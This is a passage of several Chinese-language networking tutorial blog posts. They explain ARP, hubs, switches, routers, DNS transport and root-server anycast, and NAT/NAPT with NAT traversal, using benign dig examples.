Protocal),即地址解析协议。用于将IP地址解析为以太网的MAC地址的协议。在局域网中,当主机A有数据要发送给主机B时,A必须知道B的IP地址。但是仅仅有IP地址还是不够的,因为IP数据报文还需要在数据链路层封装成帧才能通过物理网络发送。因为发送端还必须有接收端的MAC地址,所以需要一个从IP地址到MAC地址的映射。ARP就是干这事情的协议。A查本地ARP表发现B的IP和MAC映射关系不存在A通过ARP广播的形式向局域网发出消息,询问某IP对应的MAC地址是多少。比如A此时知道B的IP,但并不知道B的MAC地址是多少,就会尝试在局域网内发起ARP广播,询问局域网下所有机器,哪个机器的IP与B的IP一致。B收到这个ARP消息,发现A要问的IP与自己的IP一致,就会把自己的MAC地址作为应答返回给A。此时A就知道了B的MAC地址,顺便把消息记录到本地ARP表里,下次直接用表里的关系就行,不需要每次都去问。物理层从数据链路层到物理层,数据会被转为01比特流。此时需要把比特流传到另一台电脑。通过一根网线,两段水晶头插入网口,把两台电脑连起来。但对网线有一些要求。这根网线两端的水晶头需要采用交叉互联法。水晶头里有8根线,注意上图里的颜色,是有顺序的。第1、2根线起着收信号的作用,而第3、6脚发信号的作用。将一端的1号和3号线、2号和6号线互换一下位置,就能够在物理层实现一端发送的信号,另一端能收到。当然,现在有些网卡有自适应的功能,就算是直连互联法的线,也能有交叉互联法的效果。如果你用的是这种网卡,就当我物理层这块什么都没说吧。互联此时,在确保关闭防火墙的前提下,可以尝试从A电脑中ping一下B,再从B电脑中ping一下A。如无意外,都能ping通。A给B发个消息,从应用层到数据链路层,会分别加上A和B的各种''身份信息"。比如在传输层会加上A和B的应用端口号,在网络层加上源和目的IP,在数据链路层会加上源和目的网卡的MAC头部信息。B收到消息后逐层解包,验证,最后顺利到达应用层。实现AB两台机器消息互通。至此游戏就能正常联机对线,两台电脑互联成功!什么是集线器两个人打cs,总会觉得无聊,但是每台电脑又只有一个网线口。想要邀请更多的人一起玩,怎么办?那就要回到文章开头提到的**集线器(hub)**了。这是个工作在物理层的设备。有多个网口,很好的解决了电脑上只有一个网口的问题,可以做到多台电脑的网线都插入到集线器上。同时工作原理也非常简单,会把某个端口收到的数据,输入到中继电路。中继电路的基本功能是将输入的信号广播到集线器的所有端口上。简单来说就是无脑复制N份到其余N个端口上。数据复制到N个端口后。对应转发到N台机器里。集线器内部结构说到这里,已经对集线器有个大概认识了。接下来,我们看下集线器的内部结构。从A网口进入集线器的消息,此时还是电信号。这里经过一个PHY模块。要理解PHY模块的作用,首先要先了解每个网口,都可能接着网线(废话),而每根网线的传输的格式都是有可能不同的。而PHY的作用,就是把这些格式转化为一个通用的格式。举个例子。PHY就好比一个翻译器,有的人说英文,有的人说日文。但是PHY,会把它统一转为普通话,给内部电路处理。内部电路处理完之后,再经过PHY模块,转为英语,或日文从对应网口里输出。经过PHY的处理后,以电信号的形式输入到中继电路,被无脑广播,再次经过PHY模块后变成BCD网口的格式输出。这里面的电信号,是会受噪声干扰,导致信号形变出错的。但就算是错了,也还是会原封不动的广播出去,这就是上面提到无脑的精髓所在。那信号如果出错了怎么办?只能让接收方收到消息后进行校验。还记得上文里提到的数据链路层的MAC报头里最末尾有个FCS吗?FCS里存放的是发送方通过循环冗余校验CRC计算得到的值。接收方用收到的数据算一次CRC,与FCS里的值进行对比。如果一致,那证明数据没问题。如果出错,则直接丢弃。当然,丢弃包并不会影响数据的传输, 因为丢弃的包不会触发确认响应。因此协议栈的 TCP 模块会检测到丢包, 并对该包进行重传。如果消息没出错,但是因为无脑广播,C也能收到A发给B的数据包。此时 C 会在接受到数据包后一层层的"剥开"。正常情况下,在数据链路层时,识别到目的 MAC 地址跟 C 的不一致时,也会把数据丢弃。什么是交换机目前只有 ABC 三台机器,每次都是广播发消息倒还好。如果机器越来越多,每台机器发一条消息,都会被广播,就有点顶不住了。举个例子。假设N台机器,其中两台机器A和B,A发到B和B发给A,共两条消息。如果这N台机器,用的是集线器。还是AB之间互发消息,每条消息都是广播的话,就是(N-1)+(N-1)条消息,差距有些大,对网络资源浪费就有些严重了。那么,有没有可能做到,A发给B的消息,就不要转发给C呢?可以的,把集线器换成交换机。交换机,又叫switch,跟集线器长得很像。但是功能更强一些,从网络分层上来说,属于数据链路层,比集线器所在的物理层还要高一层。所有发到交换机的数据,都会先进入交换机的缓存区。接着消息再被转发到对应机器上。注意这里用的是转发,而不是集线器的广播,交换机是怎么做到转发的呢?MAC地址表交换机内部维护了一张MAC地址表。记录了 端口号和MAC地址的对应关系。这个表的数据是交换机不断学习的结果。当A发消息到交换机时,交换机发现消息是从1号端口进来的,则会在MAC地址表上,记录A的MAC地址对应1号端口。如果A没有很长时间没发消息到这个1号端口,那这条记录就会过期并被删除。那么,当时间足够长,ABC 都发过消息给交换机后,地址表就会有完整的关系信息。A准备发送消息给B,此时A会把B的MAC地址,放入要发送的数据里。数据顺着网线发出。交换机从端口收到数据,会把数据里的源和目的MAC地址提出来,跟MAC地址表进行对比。发现B的MAC地址正好在2号端口,那么就把数据转发给2号端口。此时B电脑从网线收到来自交换机2号端口的数据。两种特殊情况正常流程很清楚了,看两个特殊情况:交换机查询地址表时,发现目的 MAC 地址的目标端口和这个包的源端口,是同一个端口,怎么办?先说结论,会直接丢弃这个包。我们看下,假设它不丢弃,会发生什么情况。A发了个消息给B,中间经过一个集线器,此时消息会被广播到B和交换机。此时B收到第一条A发给它的消息交换机从1号端口收到A的消息后,解包,获得目的MAC地址是BB-BB-BB-BB-BB-BB。查MAC地址表,发现要发到1号端口。此时,源和目的端口都是同一个,如果交换机不丢弃这个消息,B会收到第二条A发给它的消息。A只发了一次消息,B却收到两条消息,明显不对。因此,当交换机查询地址表时,发现目标端口和源端口,是同一个端口时,会丢弃这个包。MAC地址表里找不到对应的MAC地址,怎么办?这可能是因为具有该地址的设备,还没有向交换机发送过包,或者这个设备一段时间没有工作,导致地址被从地址表中删除了。这种情况下,交换机无法判断应该把包转发到哪个端口,只能将包转发到除了源端口之外的所有端口上,无论该设备连接在哪个端口上,都能收到这个包。此时,交换机就会跟集线器一样进行广播。发送了包之后目标设备会作出响应,只要返回了响应包,交换机就可以将它的地址写入地址表,下次也就不需要把包 发到所有端口了。交换机内部结构再看下交换机内部结构。其实对比可以发现,交换机和集线器内部结构很像。重点需要提到的是MAC模块。消息以电信号的形式从网口进入,到了PHY会被转成通用格式的电信号。而MAC模块的作用是把这个电信号转为数字信号,这样就能提取出MAC包头,并通过MAC数据帧末尾的FCS校验这个包有没有问题,如果没问题,则把数据放到内存缓冲区里,否则直接丢弃。另外,这个MAC模块,虽然这么叫。但其实交换机MAC模块不具有 MAC 地址。因此交换机的端口不核对接收方 MAC 地址,而是直接接收所有的包并存放到缓冲区中。放入到内存缓冲区后,还会把MAC地址和端口号记录到MAC地址表中。同时检查目的MAC地址在不在MAC地址表中,在的话则会转发到对应端口。否则广播。交换机与网桥的区别网桥,本质上可以理解为两个网线口的交换机,正好可以把两台电脑给连起来,也叫桥接。而交换机,则是多网线口的网桥,可以把多台电脑给连(桥接)起来。其他功能方面,大差不差,不必太过纠结。交换机和二层交换机和三层交换机有什么区别这一部分提到的交换机,其实就是二层交换机,也就是工作在第二层(数据链路层)的交换机,二者没区别。而三层交换机,是工作在第三层(网络层)的交换机,其实就是接下来要提到的路由器。什么是路由器有了交换机之后,小网吧里的电脑就都可以被连起来了。交换机网口不够?那就再接个交换机。但世界上电脑这么多,交换机里的MAC地址表难道全都要记住吗?显然做不到。为了解决这个问题。于是就有了路由器,工作在网络层,比数据链路层更高一层。网络层引入了IP的概念。什么是IP比如前面提到的 192.168.0.105 就是一个IP,同一个局域网内还可能会有一个IP是192.168.0.106。有没有发现,它们都是192.168.0.xxx。像极了 上海市.黄浦区.南京东路.105号,这样的地址。现实生活中,我们可以通过一个地址定位到要去哪。到了 上海市.黄浦区.南京东路.105号楼里,我们就可以再去找某个叫身份证为xiaobaixxxxx的人。那互联网世界里,我们也就可以通过IP地址,定位到某个广域网段,再通过广域网内部的局域网的MAC地址定位到具体某个电脑。上海市.黄浦区.南京东路.105号可以帮助我们定位到在南京东路上的第105号楼的位置。但还有些路,比如南京西路,可能不止105号,可能要到257号。实际上一个IP由网络号和主机号组成,共32位组成。如果拿了前面24位做网络号,那主机号就剩8位了,2的8次方=256,最多表示表示256号楼。因此为了多表示几个楼,可以向网络号多挪几位过来作为主机号。那么具体多少位作为网络号呢?可以在IP后面加一个数字,用来表明这一点。于是就有了 192.168.0.105/24这种表示方法,表明前24位192.168.0.0是网络号,105是主机号。有了网段,就可以一次性表示一大批地址。就不需要像交换机那样苦哈哈的一条一条MAC地址记录在表里。路由表路由器的作用,可以帮助我们在互联网世界里转发消息到对应的IP。对比一下。交换机,是通过 MAC 头部中,接收方 MAC 地址,来判断转发目标的。路由器,则是根据 IP 头部中, IP 地址来判断的。由于使用的地址不同,记录转发信息的表也会不同。类似交换机的MAC地址表,路由器也维护了一张路由表。而路由表,是用于告诉路由器,什么样的消息该转发到什么端口。假设A要发消息到D。也就是192.168.0.105/24要发消息到192.168.1.11/24。那么A会把消息经过交换机发到路由器。路由器通过192.168.0.105/24获得其网络号是 192.168.0.0 ,而目的地的网络号是192.168.1.0,二者网络号不同,处于不同局域网。查路由表,发现192.168.1.0,在e2端口,那么就会把消息从e2端口发出,到达交换机,交换机发现MAC地址是它局域网下的D机器,就把消息打过去。当然,如果路由表里找不到,那就打到默认网关吧,也就是从e1口发出,发到IP192.0.2.1。这个路由器的路由表不知道该去哪,说不定其他路由器知道。路由器的内部结构路由器内部,分为控制平面和数据平面,说白了就是对应软件部分和硬件部分。硬件部分跟交换机很像。数据从A网口进入,此时数据还是网线上格式的电信号,会被PHY模块转为通用信号格式,再被MAC模块转为数字信号,通过FCS进行错误校验,同时校验MAC地址是否是自己,通过校验则进入内存缓冲区,否则丢弃。再进入软件部分,由路由选择处理器,通过一定规则(软件逻辑),查询路由表判断转发目标和对应转发口,再经由硬件部分的交换结构转发出去。如果路由表中无法找到匹配记录,路由器会丢弃这个包,并通过ICMP消息告知发送方。路由器和交换机的主要区别MAC模块的区别路由器和交换机不同点在于,它的每个网口下,都有一个MAC地址和IP地址。正因为路由器具有 MAC 地址,因此它能够成为数据链路层的的发送方和接收方。怎么理解这句话?前面提到交换机,是不具备MAC地址的,而MAC报头是需要填上目的MAC地址的。因此交换机从来都不是数据的目的地,它只简单转发数据帧到目的地。但路由器,是有MAC地址的,因此MAC报头就可以写上,下一站目的地就是xx路由。到了路由器后,路由器可以再次组装下一站的目的MAC地址是再下一个路由,通过这一点,让数据在路由和路由之间传输。而同时因为交换机不具有MAC地址,因此也不会校验收到的数据帧的MAC地址是不是自己的,全部收下做转发。而路由器则会校验数据帧的MAC报头里的目的MAC地址是不是自己,是的话才会收入内存缓冲区,否则丢弃。找不到转发目的地时的处理方式有区别如果在路由表中无法找到匹配的记录,路由器会丢弃这个包,并通过 ICMP消息告知发送方。而交换机在MAC地址表里找不到转发端口时会选择广播。这里的处理方式两者是不同的,原因在于网络规模的大小。交换机连接的网络最多也就是几千台设备的规模,这个规模并 不大。如果只有几千台设备,遇到不知道应该转发到哪里的包,交换机可以将包发送到所有的端口上,虽然这个方法很简单粗暴,但不会引发什么 问题。但路由器工作的网络环境就是互联网,全世界所有的设备都连接在互联网上,规模非常大,并且这个规模还在持续扩大中。如果此时它的操作跟交换机一样,将不知道应该转发到哪里的包发送到整个网络上,那就会产生大量的网络包,造成网络拥塞。因此,路由器遇到不知道该转发到哪里的包, 就会直接丢弃。路由器和光猫有什么区别不管是交换机还是路由器,前面都是提到网口输入的是电信号。但现在流行的是光纤传输,传输的是光信号。而光猫(modem),是一种调制解调器,其实就是用于光电信号转换的设备。接收数据时,可以将光纤里的光信号转化为电信号,发给路由器,路由器内部再转成数字信号,并在此基础上做各种处理。相反,也会把路由器传来的电信号转为光信号,发到光纤,并进入互联网。总结两台电脑可以通过一根网线直接连接,进行通信。机器一多,可以把网线都接到集线器(物理层)上,但是集线器会不管三七二十一进行广播。不想广播,可以用(二层)交换机(数据链路层),又叫多端口网桥,它比较聪明,会自我学习生产MAC地址表,知道消息发到哪,那就不需要广播啦互联网电脑这么多,交换机MAC地址表总不能全放下吧。改用路由器(网络层),也叫三层交换机,通过网段的方式定位要把消息转发到哪,就不需要像交换机那样苦哈哈一条条记录MAC地址啦。路由器和光猫之间是好搭档,光猫负责把光纤里的光信号转换成电信号给路由器。现在一般情况下,家里已经不用集线器和交换机了,大部分路由器也支持交换机的功能。所以可以看到,家里的台式机电脑一般就连到一个路由器,再连个光猫就够能快乐上网了。最后以前整个班的同学家里都不见得有一台电脑,都喜欢偷偷跑去网吧玩电脑。改革开放的春风,把电脑吹进了每家每户,也把网吧给吹成了网咖。从前的我晚上偷偷上网,现在的我,接到报警,也能在大半夜爬起来网上冲浪。没想到我以这种方式保持了当初最纯粹的质朴。我是小白,看下右下角,你懂我意思的。夏天快来了,我们下期见。参考资料网络是怎么连接的 - 户根勤趣谈网络协议- 极客时间别说了,一起在知识的海洋里呛水吧
4
0
0
浏览量535
超超

听说DNS根服务器只有13台,科学吗?

接上一篇文章《DNS中有哪些值得学习的优秀设计》 最后遗留的两个问题。从抓包可以看出,DNS在传输层上使用了UDP协议,那它只用UDP吗?DNS的IPV4根域名只有13个,这里面其实有不少都部署在漂亮国,那是不是意味着,只要他们不高兴了,切断我们的访问,我们的网络就得瘫痪了呢?我们来展开今天的话题。DNS是基于UDP的应用层协议吗?当我们执行dig www.baidu.com时,操作系统会发出dns请求,去询问www.baidu.com域名对应的IP是多少。$ dig www.baidu.com ; <<>> DiG 9.10.6 <<>> www.baidu.com ;; global options: +cmd ;; Got answer: ;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 61559 ;; flags: qr rd ra; QUERY: 1, ANSWER: 3, AUTHORITY: 0, ADDITIONAL: 1 ;; OPT PSEUDOSECTION: ; EDNS: version: 0, flags:; udp: 4000 ;; QUESTION SECTION: ;www.baidu.com. IN A ;; ANSWER SECTION: www.baidu.com. 298 IN CNAME www.a.shifen.com. www.a.shifen.com. 298 IN A 180.101.49.12 www.a.shifen.com. 298 IN A 180.101.49.11此时,从抓包上来看,DNS作为应用层协议,在传输层确实是用了UDP协议。但是,其实 RFC 5966 中提到。# https://www.rfc-editor.org/rfc/rfc5966 This document updates the requirements for the support of TCP as a transport protocol for DNS implementations.也就是说虽然我们大部分情况下看到DNS使用UDP,但其实DNS也是支持TCP的。当我们在dig命令里加上+tcp的选项时,就可以强制DNS查询使用TCP协议进行数据传输。$ dig +tcp www.baidu.com ; <<>> DiG 9.10.6 <<>> +tcp www.baidu.com ;; global options: +cmd ;; Got answer: ;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 28411 ;; flags: qr rd ra; QUERY: 1, ANSWER: 3, AUTHORITY: 0, ADDITIONAL: 1 ;; OPT PSEUDOSECTION: ; EDNS: version: 0, flags:; udp: 4000 ;; QUESTION SECTION: ;www.baidu.com. IN A ;; ANSWER SECTION: www.baidu.com. 600 IN CNAME www.a.shifen.com. www.a.shifen.com. 600 IN A 180.101.49.11 www.a.shifen.com. 600 IN A 180.101.49.12此时再次抓包。可以发现,在传输层,DNS使用了TCP协议。那么问题就来了。为什么有UDP了还要用到TCP?我们知道网络传输就像是在某个管道里传输数据包,这个管道有一定的粗细,叫MTU。超过MTU则会在发送端的网络层进行切分,然后在接收端的网络层进行重组。而重组是需要有个缓冲区的,这个缓冲区的大小有个最小值,是576Byte。IP层分片后传输会加大丢包的概率,且IP层本身并不具备重传的功能,因此需要尽量避免IP层分片。如果传输过程中真的发生了分片,需要尽量确保能在接收端顺利重组,于是在最保险的情况下,将MTU设置为576。(有些过于谨慎,现在大部分场景下MTU=1500)。基于这样的前提,这个MTU长度刨去IP头和UDP头,大约剩下512Byte。所以才有了RFC1035中提到的,在UDP场景下,DNS报文长度不应该超过512Byte。超过则会被截断。那数据包就不完整了,可能会导致下游没法正常解析数据。但不可避免的是,总会有需要传大量数据的场景。怎么办呢?那就改用TCP吧。因为TCP本身会分段,分段后的长度正好小于等于MTU的长度。并且丢包后还会重传,因此可以确保数据正常传输。所以说数据包长度大于512时,DNS就需要使用TCP协议进行传输。那既然TCP那么好,为什么不全用TCP?我们可以对比上面UDP和TCP的那两张图,会发现,除了DNS的请求和响应两个数据包,TCP场景下还多了三次握手和四次挥手这几个包。咋一看好像也不算特别多。我们再回去看下,通过DNS协议去查询域名对应的IP的过程。将查询过程细分的话,是可以分为迭代查询和递归查询的。迭代查询和递归查询是什么迭代查询是指,发出DNS后,对方如果不知道这个域名的IP是什么,会告诉我有可能知道这件事的机器的IP,我自己再去问有可能知道的机器,不断重复直到问到结果。递归查询是指,发出DNS请求后,要求对方查好后直接给出最终结果。看起来递归查询好像很方便,但其实是将查询的过程转嫁给了其他DNS服务器。所以很多时候,这两者是同时存在的。举个例子。比如还是查询www.baidu.com对应的IP。那本机在发出DNS请求时,会要求最近的DNS服务器将结果查好了再给回本机(step1),所以这时候是要求的递归查询。本机是轻松了,然而最近的DNS服务器(有可能是你的家用路由器)却需要忙活起来了,它需要采用迭代查询的方式,最坏的情况下,它需要:step2: 查询根域名服务器step3: 拿到根域名服务器返回的一级域名(com)服务器IP,step4: 再去查询一级域(com)服务器step5: 得到二级域(baidu)服务器的IPstep6: 查询二级域(baidu)服务器step7: 得到三级域(www)服务器的IPstep8: 查询三级域(www)服务器step9: 得到www.baidu.com服务器的IP此时DNS服务器在将结果放入缓存后,会将结果给回本机(step10)。可以看到,迭代查询和递归查询在这个场景中其实是同时存在的。迭代查询和递归查询的报文特征这在DNS的报头里也有体现。我们需要关注的是Flags字段中的RD和RA字段。RD(Resursion Desired)是指客户端期望的查询方式。0:表示迭代查询1:表示递归查询RA(Recursion Available)是指服务端实际采用的查询方式,它只会在响应包里出现。0:表示迭代查询1:表示递归查询迭代查询和递归查询带来的影响回到为什么DNS不全部改用TCP的问题上。我们可以看到,DNS请求中,涉及到的服务器其实非常多。如果都用TCP的话,那就都需要三次握手建立连接,四次挥手断开连接。对于递归查询的那一方,其实还好,因为只会建立一次连接,发出一次请求接收一次响应就完事了。但对于迭代查询的一方,就需要与众多服务器重复建立和断开连接。性能会有很大影响。这时候估计大家也会想问。那是不是不断开TCP连接,下次复用就好了?不太好。因为大部分URL所涉及到的域名服务器都不太相同,比如 www.baidu.com和www.xiaobaidebug.top涉及到的一、二、三级域名服务器就不一样,因此也没必要维护TCP长链接做复用。所以相比之下,在数据量较小的场景下,使用UDP就可以省下握手挥手的消耗,因此UDP才是更优解。DNS的IPV4根域只有13个吗?确实是的。问题又来了。为什么是13个IP,不能再加吗?这个,单纯是历史原因了。上面提到基于UDP的DNS报文不应该超过512Byte,刨去DNS本身的报头信息,算下来大概能放13个IP(IPV4)。具体的计算过程不太重要,我就省略了,对计算过程感兴趣的话,可以看下这篇文章最下面的参考文献。虽然现在大部分机器MTU=1500了,但由于还可能存在MTU=576的机器,需要向前兼容,因此也不建议随意调整。但问题叒来了。退一万步,就算所有机器的MTU都到1500了,是不是就没这个限制了?嗯,从这个角度来说,确实可以加,但没必要。我们需要思考下为什么要加?是因为觉得13个IP对应13台服务器,压力太大了吗?还是说出于其他不可明说的因素考虑?比如,很久以前看电视的时候,有位砖家提到"全球DNS根服务器只有13台,其中x台部署在漂亮国,只要它们切断访问,那我们的网络就会受影响balabala"。但其实,13个IP不代表只有13台服务器。准确点来说,应该说是13组服务器,每个组都可以无限扩展服务器的个数,多个服务器共用同一个IP。这里面其实涉及到一个叫任播的技术。任播是什么我们知道,在传输的过程中,一台机器发消息给另一台机器,这叫单播(unicast)。一台机器,发消息给本地网段的所有机器,那叫广播(broadcast)。这两个都很常见,应该都没问题。一台机器,发消息给的所有符合条件的目的机器里的其中一台,那叫任播(anycast)。我们知道,全世界的网络设备,放在一起就形成了一个网状结构,这也是网络这个名称的由来。我们假设有这么一个路由器,它想要访问某个IP的机器。从路由器到目的机器有非常多条路径,路由器可以通过跳数等信息来计算每条路径的成本,得到最优的路径。将最优路径汇成一张表,也就是我们常说的路由表。比如下面的图里,绿色的线和红色的线都能到达同样的目的地,但显然,绿色的路径更短,所以路由表记录了成本更低的绿色路线。那么现在假设我们将这个网状结构里的两个点的网络IP设为一样,路由器其实不知道这是两个不同的机器,对它来说,这只是两条不同的路径,但都是通向同一个IP。这两条路径都能到同一个IP,因此打到任意一个服务都能拿到想要的信息,从而实现了任播。现在我们再加个条件,路由器和其中一台机器都在国内,另一台机器在国外。对路由器来说,由于国内的机器离得近,传输成本低,而国外的机器远,传输成本高,所以路由器生成的最优路线是打到国内的机器。基于这样的思路,我们只要镜像一份国外的DNS域名服务器信息到国内机房里。我们就不再需要请求国外服务器了。所以,就算其他国家的根域名服务器挂了,也不会对我们有什么影响,事实上国内已经有非常多的镜像服务器了,稳得很。那稍微扩展一下,假设在上海和广东都设置了相同IP的镜像服务,那对于上海的用户来说,他们的路由器会优先将请求打到上海的镜像服务。而广东的用户则会优先打到广东的机器里,从而实现了就近访问。上海的镜像服务挂了,那对应的上海用户路由器里的路由表,就会将路径更新为广东的镜像机器。 上海用户的请求就会打到广东的镜像服务中。从而实现高可用(或者说灾备)。看起来,利用任播既能做到负载均衡,还能实现高可用,这跟nginx很像啊。那么,问题就来了。既然有任播技术,那为什么还要用nginx?nginx作为常见的反向代理服务器,背后可以连N个服务端。当客户端想要请求后端时,客户端根本不需要知道是哪个服务器在为它提供服务,只管拿nginx最后返回的结果就行了。像这种,屏蔽掉具体有哪些服务器的代理方式就是所谓的反向代理。正因为不知道背后有哪些服务器,因此可以做到无限扩展,挂了一台其他也能顶上,因此实现了负载均衡和高可用。之前写过一篇文章《为什么有HTTP协议,还要有websocket协议?》,提到过对于网络游戏场景,需要有服务器主动推数据到客户端。由于nginx与客户端和服务端之间会建立TCP长链接,因此客户端在收到服务端的消息之后,能沿着这条连接响应服务端。而如果这时候不用nginx,单纯使用任播,那服务器将消息主动推给客户端之后,客户端响应时,消息不保证还能给回原来的服务器。毕竟“任播”的含义就是,只要能访问任意一台服务器就行了。因此任播并不能代替nginx。当然这两个本来也不是一个维度的东西,拿来比较其实并不合适,我只是举了个反例来帮助大家捋一捋两者之间的差异。总结DNS在传输层既能使用UDP也能使用TCP协议。当传输数据量小于512Byte时会使用UDP,否则使用TCP。虽然根域只有13个IP,但不代表只有13台服务器,准确的说,应该是十三组服务器,每组服务器都共用同一个IP,国内已经有非常多的镜像服务器,利用任播技术,只要能就近访问到其中一台就行了。国内国外如果都有相同IP的目的机器,那对于路由器来说,无非就是有两条路径可以抵达相同的目的地,一个远一些,一个近一些。基于成本,会将更近的路径放到路由表中。任播技术虽然也能在一定程度上实现负载均衡和高可用,但它跟nginx并不是一个维度的东西,不能替代nginx。参考资料《Why 13 DNS root servers?》miek.nl/2013/novemb…
0
0
0
浏览量236
超超

为什么我在公司里访问不了家里的电脑?

上篇文章「为什么我们家里的IP都是192.168开头的?」提到,因为IPv4地址有限,最大42亿个。为了更好的利用这有限的IP数量,网络分为局域网和广域网,将IP分为了私有IP和公网IP,一个局域网里的N多台机器都可以共用一个公网IP,从而大大增加了"可用IP数量"。当我们需要发送网络包的时候,在IP层,需要填入源IP地址,和目的IP地址,也就是对应快递的发货地址和收货地址。但是我们家里的局域网内,基本上都用192.168.xx.xx这样的私有IP。如果我们在发送网络包的时候,这么填。对方在回数据包的时候该怎么回?毕竟千家万户人用的都是192.168.0.1,网络怎么知道该发给谁?所以肯定需要将这个192.168.xx私有IP转换成公有IP。因此在上篇文章最后,留了这么个问题。局域网内用的是私有IP,公网用的都是公有IP。一个局域网里的私有IP想访问局域网外的公有IP,必然要做个IP转换,这是在哪里做的转换呢?答案是NAT设备,全称Network Address Translation,网络地址转换。基本上家用路由器都支持这功能。我们来聊下它是怎么工作的。NAT的工作原理为了简单,我们假设你很富,你家里分到了一个公网IP地址 20.20.20.20,对应配到了你家自带NAT功能的家用路由器上,你家里需要上网的设备有很多,比如你的手机,电脑都需要上网,他们构成了一个局域网,用的都是私有IP,比如192.168.xx。其中你在电脑上执行ifconfig命令,发现家里的电脑IP是192.168.30.5。 你要访问的公网IP地址是30.30.30.30。于是就有下面这样一张图当你准备发送数据包的时候,你的电脑内核协议栈就会构造一个IP数据包。这个IP数据包报头里的发送端IP地址填的就是192.168.30.5,接收端IP地址就是30.30.30.30。将数据包发到NAT路由器中。此时NAT路由器会将IP数据包里的源IP地址修改一下,私有IP地址192.168.30.5改写为公网IP地址20.20.20.20,这叫SNAT(Source Network Address Translation,源地址转换)。并且还会在NAT路由器内部留下一条 192.168.30.5 -> 20.20.20.20的映射记录,这个信息会在后面用到。之后IP数据包经过公网里各个路由器的转发,发到了接收端30.30.30.30,到这里发送流程结束。如果接收端处理完数据了,需要发一个响应给你的电脑,那就需要将发送端IP地址填上自己的30.30.30.30,将接收端地址填为你的公网IP地址20.20.20.20,发往NAT路由器。NAT路由器收到公网来的消息之后,会检查下自己之前留下的映射信息,发现之前留下了这么一条 192.168.30.5 -> 20.20.20.20记录,就会将这个数据包的目的IP地址修改一下,变成内网IP地址192.168.30.5, 这也叫DNAT(Destination Network Address Translation,目的地址转换)。 之后将其转发给你的电脑上。整个过程下来,NAT悄悄的改了IP数据包的发送和接收端IP地址,但对真正的发送方和接收方来说,他们却对这件事情,一无所知。这就是NAT的工作原理。NAPT的原理到这里,相信大家都有一个很大的疑问。局域网里并不只有一台机器,局域网内 每台机器都在NAT下留下的映射信息都会是 192.168.xx.xx -> 20.20.20.20,发送消息是没啥事,但接收消息的时候就不知道该回给谁了。这问题相当致命,因此实际上大部分时候不会使用普通的NAT。那怎么办呢?问题出在我们没办法区分内网里的多个网络连接。于是乎。我们可以加入其他信息去区分内网里的各个网络连接,很自然就能想到端口。但IP数据包(网络层)本身是没有端口信息的。常见的传输层协议TCP和UDP数据报文里才有端口的信息。于是流程就变成了下面这样子。当你准备发送数据包的时候,你的电脑内核协议栈就会先构造一个TCP或者UDP数据报头,里面写入端口号,比如发送端口是5000,接收端口是3000,然后在这个基础上,加入IP数据报头,填入发送端和接收端的IP地址。那数据包长这样。假设,发送端IP地址填的就是192.168.30.5,接收端IP地址就是30.30.30.30。将数据包发到NAT路由器中。此时NAT路由器会将IP数据包里的源IP地址和端口号修改一下,从192.168.30.5:5000改写成20.20.20.20:6000。并且还会在NAT路由器内部留下一条 192.168.30.5:5000 -> 20.20.20.20:6000的映射记录。之后数据包经过公网里各个路由器的转发,发到了接收端30.30.30.30:3000,到这里发送流程结束。接收端响应时,就会在数据包里填入发送端地址是30.30.30.30:3000,将接收端是20.20.20.20:6000,发往NAT路由器。NAT路由器发现下自己之前留下过这么一条 192.168.30.5:5000 -> 20.20.20.20:6000的记录,就会将这个数据包的目的IP地址和端口修改一下,变回原来的192.168.30.5:5000。 之后将其转发给你的电脑上。如果局域网内有多个设备,他们就会映射到不同的公网端口上,毕竟端口最大可达65535,完全够用。这样大家都可以相安无事。像这种同时转换IP和端口的技术,就是NAPT(Network Address Port Transfer , 网络地址端口转换 )。看到这里,问题就来了。那这么说只有用到端口的网络协议才能被NAT识别出来并转发?但这怎么解释ping命令?ping基于ICMP协议,而ICMP协议报文里并不带端口信息。我依然可以正常的ping通公网机器并收到回包。事实上针对ICMP协议,NAT路由器做了特殊处理。ping报文头里有个Identifier的信息,它其实指的是放出ping命令的进程id。对NAT路由器来说,这个Identifier的作用就跟端口一样。另外,当我们去抓包的时候,就会发现有两个Identifier,一个后面带个BE(Big Endian),另一个带个LE(Little Endian)。其实他们都是同一个数值,只不过大小端不同,读出来的值不一样。就好像同样的数字345,反着读就成了543。这是为了兼容不同操作系统(比如linux和Windows)下大小端不同的情况。内网穿透是什么看到这里,我们大概也发现了。使用了NAT上网的话,前提得内网机器主动请求公网IP,这样NAT才能将内网的IP端口转成外网IP端口。反过来公网的机器想主动请求内网机器,就会被拦在NAT路由器上,此时由于NAT路由器并没有任何相关的IP端口的映射记录,因此也就不会转发数据给内网里的任何一台机器。举个现实中的场景就是,你在你家里的电脑上启动了一个HTTP服务,地址是192.168.30.5:5000,此时你在公司办公室里想通过手机去访问一下,却发现访问不了。那问题就来了,有没有办法让外网机器访问到内网的服务?有。大家应该听过一句话叫,"没有什么是加中间层不能解决的,如果有,那就再加一层"。放在这里,依然适用。说到底,因为NAT的存在,我们只能从内网主动发起连接,否则NAT设备不会记录相应的映射关系,没有映射关系也就不能转发数据。所以我们就在公网上加一台服务器x,并暴露一个访问域名,再让内网的服务主动连接服务器x,这样NAT路由器上就有对应的映射关系。接着,所有人都去访问服务器x,服务器x将数据转发给内网机器,再原路返回响应,这样数据就都通了。这就是所谓的内网穿透。像上面提到的服务器x,你也不需要自己去搭,已经有很多现成的方案,花钱就完事了,比如花某壳。到这里,我们就可以回答文章标题的问题。为什么我在公司里访问不了家里的电脑?那是因为家里的电脑在局域网内,局域网和广域网之间有个NAT路由器。由于NAT路由器的存在,外网服务无法主动连通局域网内的电脑。两个内网的聊天软件如何建立通讯好了,问题就叒来了。我家机子是在我们小区的局域网里,班花家的机子也是在她们小区的局域网里。都在局域网里,且NAT只能从内网连到外网,那我电脑上登录的QQ是怎么和班花电脑里的QQ连上的呢?上面这个问法其实是存在个误解,误以为两个qq客户端应用是直接建立连接的。然而实际上并不是,两个qq客户端之间还隔了一个服务器。也就是说,两个在内网的客户端登录qq时都会主动向公网的聊天服务器建立连接,这时两方的NAT路由器中都会记录有相应的映射关系。当在其中一个qq上发送消息时,数据会先到服务器,再通过服务器转发到另外一个客户端上。反过来也一样,通过这个方式让两台内网的机子进行数据传输。两个内网的应用如何直接建立连接上面的情况,是两个客户端通过第三方服务器进行通讯,但有些场景就是要抛开第三端,直接进行两端通信,比如P2P下载,这种该怎么办呢?这种情况下,其实也还是离不开第三方服务